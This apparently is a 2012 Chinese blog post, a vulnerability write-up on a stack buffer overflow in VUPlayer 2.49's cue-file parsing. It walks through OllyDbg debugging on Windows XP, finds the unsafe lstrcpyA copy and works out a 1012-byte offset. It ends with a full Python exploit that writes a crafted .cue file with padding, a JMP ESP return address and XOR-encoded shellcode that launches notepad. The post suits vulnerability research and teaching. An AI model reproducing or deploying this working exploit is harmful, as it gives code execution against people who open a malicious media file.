VUPlayer 2.49 cue文件解析缓冲区溢出

测试平台:

    Windows xp

测试工具:

    OllyDBG

挖掘过程:

    1根据cue文件格式构造超长文件路径字符串进行测试,发现程序崩溃。

    2、找出溢出点:

    A、bp CreateFileA,跟踪打开的测试文件:

    

    B、返回到用户代码,发现程序根据不同的扩展名跳到不同的处理函数:

    

    C、来到cue文件的处理函数:

    

    D、跟进此函数,发现程序开始按相关字段解析cue文件格式:(仅仅解析,未发现危险函数)

    

    

    E、解析完成后,程序尝试调用自定义函数打开指定的文件,OD报错:

    

    G、发现此函数会根据读取的文件的扩展名调用相关处理函数,检查完扩展名之后,发现调用了一系列自定义处理函数,在即将调用的call下断,F8步过,无错则取消断点

    

    H、发现其中一个函数使得调试器出错,重新加载,跟进该函数,发现了lstrcpyA,果断分析这个函数,重要发现如下:

      1、首先分配临时变量空间大小:0x4DC:

      

      2、lstrcpyA的目标起始地址是:ebp-3f0:  

      

      3、之后,由于该文件路径不存在,导致fopen失败,程序直接跳到该函数末尾,此时:

      

      

 

漏洞利用分析:

    填充变量需:0x3F0+4(EBP)=1012字节。

测试代码:(python)

  

# -*- coding: UTF-8 -*-
#ShellCode:WinExec("notepad")

import os
from sys import exit

shellcode=\
"\x83\xC4\x14\x33\xC9\x8A\x1C"\
"\x0C\x80\xF3\x11\x88\x1C\x0C\x41"\
"\x80\xF9\x87\x75\xF1\xED\x75\xB0"\
"\x21\x11\x11\x11\x9A\x51\x1D\x9A"\
"\x51\x0D\x9A\x11\x9A\x79\x19\x9A"\
"\x54\x2D\x9A\x45\x14\x69\x12\xC4"\
"\x9A\x5B\x09\x9A\x4B\x31\x12\xCC"\
"\x58\x9A\x25\x9A\x12\xE4\xA9\x56"\
"\x74\x65\x41\x28\x17\x64\xE0\xA9"\
"\x63\x7E\x72\x50\x28\x57\x15\x64"\
"\xF6\x9A\x4B\x35\x12\xCC\x77\x9A"\
"\x1D\x5A\x9A\x4B\x0D\x12\xCC\x9A"\
"\x15\x9A\x12\xD4\x9A\xC9\x79\x69"\
"\x74\x72\x11\x79\x46\x78\x7F\x54"\
"\x45\x44\xEE\xC2\x79\x61\x70\x75"\
"\x11\x79\x7F\x7E\x65\x74\x9A\xDD"\
"\x7B\x10\x40\xEE\xC1\x79\x74\x62"\
"\x62\x11\x79\x41\x63\x7E\x72\x79"\
"\x54\x69\x78\x65\x45\x44\xEE\xC2"\
"\x7B\x11\xEE\xC1"

file=open('x.cue','wb+')
file.write('FILE "')        #Header
file.write('\x41'*1012)         #填充变量及EBP
file.write('\x7B\x46\x86\x7C')  #JMP ESP
file.write(shellcode)
file.write('.BIN" BINARY \r\n TRACK 01 MODE1/2352\r\n   INDEX 01 00:00:00\r\n')     #EndHeader
file.close()
posted @ 2012-05-20 11:04  little evil  阅读(768)  评论(0编辑  收藏  举报